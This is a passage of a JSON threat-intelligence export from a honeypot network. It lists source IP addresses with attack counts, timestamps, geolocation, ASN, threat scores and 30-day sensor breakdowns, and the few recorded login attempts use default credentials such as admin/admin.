        "first_seen_30d": "2026-05-16T23:21:32+00:00",
        "last_seen_30d": "2026-05-31T06:17:22.012000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 9,
        "Honeytrap": 4
      }
    },
    "64.62.197.197": {
      "attack_count": 9,
      "first_seen": "2026-05-17T12:13:24.279Z",
      "last_seen": "2026-05-17T12:13:24.572Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0 (Edition Yx 05)"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 30,
        "ports_targeted_30d": 75,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T03:04:07.032000+00:00",
        "last_seen_30d": "2026-05-31T04:18:55.444000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 146,
        "Honeytrap": 83,
        "Redishoneypot": 11,
        "Cowrie": 9,
        "Dionaea": 4,
        "ElasticPot": 2,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Miniprint": 1
      }
    },
    "103.172.99.191": {
      "attack_count": 8,
      "first_seen": "2026-05-11T05:55:35.274Z",
      "last_seen": "2026-05-11T06:01:43.140Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 146932,
      "as_org": "SCC NETWORK PVT LTD",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T17:30:50.426000+00:00",
        "last_seen_30d": "2026-05-11T06:10:34.200000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 8
      }
    },
    "108.56.250.208": {
      "attack_count": 8,
      "first_seen": "2026-05-17T03:51:34.616Z",
      "last_seen": "2026-05-17T04:01:17.390Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Takoma Park",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T09:52:09.428000+00:00",
        "last_seen_30d": "2026-05-17T04:07:44.822000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "147.185.132.91": {
      "attack_count": 8,
      "first_seen": "2026-05-08T22:47:41.252Z",
      "last_seen": "2026-05-15T10:26:39.828Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 29,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T22:59:02+00:00",
        "last_seen_30d": "2026-05-31T21:10:33.043000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Honeytrap": 16,
        "Cowrie": 8,
        "Mailoney": 5,
        "ConPot": 2
      }
    },
    "93.171.240.243": {
      "attack_count": 8,
      "first_seen": "2026-05-24T03:04:43.273Z",
      "last_seen": "2026-05-24T03:12:49.936Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 8870,
      "as_org": "Overseas Technologies LLC",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T03:04:43.273000+00:00",
        "last_seen_30d": "2026-05-24T03:23:39.525000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "101.206.107.245": {
      "attack_count": 6,
      "first_seen": "2026-05-07T04:36:57.854Z",
      "last_seen": "2026-05-07T04:39:01.195Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T04:36:57.854000+00:00",
        "last_seen_30d": "2026-05-07T04:51:59.379000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 6,
        "Honeytrap": 1
      }
    },
    "103.149.46.116": {
      "attack_count": 6,
      "first_seen": "2026-05-09T23:42:57.084Z",
      "last_seen": "2026-05-09T23:43:02.867Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 8888,
      "as_org": "xTom Pty Ltd",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T23:42:57.084000+00:00",
        "last_seen_30d": "2026-05-09T23:44:09.091000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "139.129.37.204": {
      "attack_count": 6,
      "first_seen": "2026-05-19T02:30:08.781Z",
      "last_seen": "2026-05-19T02:30:57.460Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Qingdao",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-19T02:30:08.781000+00:00",
        "last_seen_30d": "2026-05-19T02:32:43.814000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6,
        "Honeytrap": 1
      }
    },
    "192.119.111.44": {
      "attack_count": 6,
      "first_seen": "2026-05-07T19:07:41.399Z",
      "last_seen": "2026-05-19T04:10:26.723Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 54290,
      "as_org": "Hostwinds LLC.",
      "threat_score": 41.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.8,
        "persistence": 19.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 23,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T18:58:32.226000+00:00",
        "last_seen_30d": "2026-05-29T01:03:22.881000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "42.228.19.2": {
      "attack_count": 6,
      "first_seen": "2026-05-14T12:08:37.282Z",
      "last_seen": "2026-05-14T12:10:37.814Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 40.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.8,
        "persistence": 13.3,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 16,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-10T18:32:34+00:00",
        "last_seen_30d": "2026-05-25T06:07:47.670000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6,
        "Honeytrap": 4
      }
    },
    "45.142.154.29": {
      "attack_count": 6,
      "first_seen": "2026-05-02T14:58:51.440Z",
      "last_seen": "2026-05-02T14:59:06.688Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9465,
      "as_org": "AGOTOZ PTE. LTD.",
      "threat_score": 73.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.6,
        "persistence": 25,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 30,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T14:58:51.440000+00:00",
        "last_seen_30d": "2026-05-31T16:14:24.940000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 22,
        "Cowrie": 6
      }
    },
    "65.49.1.152": {
      "attack_count": 6,
      "first_seen": "2026-05-02T09:03:55.869Z",
      "last_seen": "2026-05-26T08:50:53.487Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 311,
        "days_active_30d": 30,
        "ports_targeted_30d": 84,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T03:03:58+00:00",
        "last_seen_30d": "2026-05-31T11:39:14.854000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 189,
        "Honeytrap": 96,
        "Mailoney": 12,
        "ConPot": 6,
        "Cowrie": 6,
        "Dionaea": 1,
        "ElasticPot": 1
      }
    },
    "157.230.49.170": {
      "attack_count": 5,
      "first_seen": "2026-05-24T02:54:19.987Z",
      "last_seen": "2026-05-24T02:54:22.290Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T02:54:19.987000+00:00",
        "last_seen_30d": "2026-05-24T02:55:23.495000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "165.22.70.233": {
      "attack_count": 4,
      "first_seen": "2026-05-04T17:06:16.596Z",
      "last_seen": "2026-05-04T17:06:36.597Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 56.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.8,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 239,
        "days_active_30d": 22,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T12:35:41+00:00",
        "last_seen_30d": "2026-05-23T06:17:30.633000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 162,
        "Honeytrap": 73,
        "Cowrie": 4
      }
    },
    "168.181.63.112": {
      "attack_count": 4,
      "first_seen": "2026-05-03T02:30:02.363Z",
      "last_seen": "2026-05-03T08:43:20.661Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Osasco",
      "asn": 265330,
      "as_org": "Ponto a Ponto Telecomunicacoes",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:30:02.363000+00:00",
        "last_seen_30d": "2026-05-03T08:45:00.997000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "173.206.84.62": {
      "attack_count": 4,
      "first_seen": "2026-05-25T14:02:08.429Z",
      "last_seen": "2026-05-25T14:04:17.198Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "North York",
      "asn": 6407,
      "as_org": "Primus Telecommunications Canada Inc.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T14:02:08.429000+00:00",
        "last_seen_30d": "2026-05-25T14:15:10.766000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "185.106.29.190": {
      "attack_count": 4,
      "first_seen": "2026-05-22T02:28:54.568Z",
      "last_seen": "2026-05-22T02:34:34.013Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Erbil",
      "asn": 206206,
      "as_org": "Kurdistan Net Company for Computer and Internet Ltd.",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T02:28:54.568000+00:00",
        "last_seen_30d": "2026-05-22T02:41:01.782000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "20.65.195.121": {
      "attack_count": 4,
      "first_seen": "2026-05-29T01:57:33.773Z",
      "last_seen": "2026-05-29T01:57:44.264Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 60.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.8,
        "persistence": 20.0,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 24,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-06T05:55:59.804000+00:00",
        "last_seen_30d": "2026-05-29T01:58:53.078000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Cowrie": 4,
        "Honeytrap": 4,
        "Dionaea": 2
      }
    },
    "8.222.228.70": {
      "attack_count": 4,
      "first_seen": "2026-05-23T13:37:34.626Z",
      "last_seen": "2026-05-23T13:37:42.625Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T13:37:34.626000+00:00",
        "last_seen_30d": "2026-05-23T13:38:46.148000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "95.66.145.154": {
      "attack_count": 4,
      "first_seen": "2026-05-13T12:09:16.854Z",
      "last_seen": "2026-05-13T12:11:16.859Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Vladimir",
      "asn": 35645,
      "as_org": "Limited Liability Company VLADINFO",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T12:09:16.854000+00:00",
        "last_seen_30d": "2026-05-13T12:21:25.178000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "144.31.236.5": {
      "attack_count": 3,
      "first_seen": "2026-05-19T07:22:53.371Z",
      "last_seen": "2026-05-19T07:23:54.600Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202226,
      "as_org": "Great Flower",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:22:53.371000+00:00",
        "last_seen_30d": "2026-05-19T07:24:59.363000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "220.200.154.169": {
      "attack_count": 3,
      "first_seen": "2026-05-10T13:23:06.401Z",
      "last_seen": "2026-05-10T13:25:06.404Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T13:23:06.401000+00:00",
        "last_seen_30d": "2026-05-10T13:35:08.223000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "1.64.187.74": {
      "attack_count": 2,
      "first_seen": "2026-05-30T15:19:36.574Z",
      "last_seen": "2026-05-30T15:20:07.079Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T15:19:36.574000+00:00",
        "last_seen_30d": "2026-05-30T15:21:07.744000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "101.80.228.78": {
      "attack_count": 2,
      "first_seen": "2026-05-19T15:08:50.759Z",
      "last_seen": "2026-05-19T15:09:36.198Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4812,
      "as_org": "China Telecom Group",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T14:08:20.576000+00:00",
        "last_seen_30d": "2026-05-19T15:11:39.732000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "103.147.227.30": {
      "attack_count": 2,
      "first_seen": "2026-05-12T09:07:25.701Z",
      "last_seen": "2026-05-12T09:09:25.709Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nepal",
      "country_code": "NP",
      "city": null,
      "asn": 140050,
      "as_org": "Next Geekers Pvt. Ltd.",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T09:07:25.701000+00:00",
        "last_seen_30d": "2026-05-12T09:10:52.566000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "109.151.79.68": {
      "attack_count": 2,
      "first_seen": "2026-05-07T07:55:37.199Z",
      "last_seen": "2026-05-07T07:55:51.539Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Lincoln",
      "asn": 2856,
      "as_org": "British Telecommunications PLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T07:55:37.199000+00:00",
        "last_seen_30d": "2026-05-07T07:57:01.179000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.103.131.192": {
      "attack_count": 2,
      "first_seen": "2026-05-22T19:21:58.990Z",
      "last_seen": "2026-05-22T19:22:52.764Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T19:21:58.990000+00:00",
        "last_seen_30d": "2026-05-22T19:24:02.084000+00:00",
